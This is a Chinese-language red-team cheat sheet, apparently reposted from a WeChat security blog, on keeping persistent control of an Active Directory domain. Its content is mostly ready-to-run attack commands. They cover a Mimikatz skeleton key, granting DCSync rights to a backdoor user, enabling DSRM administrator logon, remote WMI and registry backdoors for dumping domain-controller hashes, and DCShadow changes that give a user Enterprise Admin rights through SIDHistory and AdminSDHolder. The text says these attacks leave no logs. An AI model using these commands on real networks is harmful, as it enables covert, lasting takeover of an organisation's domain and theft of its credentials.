红队笔记 - 域渗透攻击

  • A+
所属分类:安全文章


红队笔记 - 域渗透攻击


域持久性

        

        必须以DA权限运行


Mimikatz攻击

        

        DC运行为所有用户启用密码 "mimikatz"


privilege::debugmisc::skeleton


使用 PowerView 授予特定用户 DCSync 权限

        

        选择的用户授予 DCSync 的权限,在某些设置中可能会逃避检测。


Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync


域控制器 DSRM 管理员

       

        DSRM 管理员是 DC 的本地管理员帐户,需要先启用远程登录。


New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD


现在我们可以使用之前转储在 DC 上的本地管理哈希远程登录,使用例如“ overpass -the-hash”来获取会话。


修改远程 WMI 访问的安全描述符

        

        使用Nishang 的 Set-RemoteWMI cmdlet授予用户 WMI 访问计算机的权限。可以运行以持久访问例如 DC。


Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'rootcimv2'


DAMP 修改 DC 注册表安全描述符以进行远程hash检索


        使用DAMP工具我们就可以借壳DC注册表来给我们上的访问SAM,SYSTEM以及SECURITY注册表配置单元,这允许我们远程转储 DChash。


Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser


        我们使用Add-RemoteRegBackdoor.ps1来自 DAMP的cmdlet添加后门。


# Get machine account hash for silver ticket attackGet-RemoteMachineAccountHash -ComputerName DC01
# Get local account hashesGet-RemoteLocalAccountHash -ComputerName DC01
# Get cached credentials (if any)Get-RemoteCachedCredential -ComputerName DC01


DCShadow


           DCShadow是一种攻击,它通过暂时模仿一个域控制器来掩盖某些行动。如果你在一个根域中拥有域管理员或企业管理员的权限,它可以被用于森林级的持久化。


        作为域管理员,可以选择给一个选定的用户以DCShadow攻击所需的权限(使用Set-DCShadowPermissions.ps1 cmdlet)


Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose


然后,从任何一台机器上使用Mimikatz来进行DCShadow攻击。


# Set SPN for userlsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user## Requires retrieval of current ACL:(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for userlsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])


最后,从DA会话或之前提供DCShadow权限的用户会话,运行DCShadow攻击。之前的动作将被执行,不会留下任何日志。


lsadump::dcshadow /push



原文始发于微信公众号(Khan安全攻防实验室):红队笔记 - 域渗透攻击

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: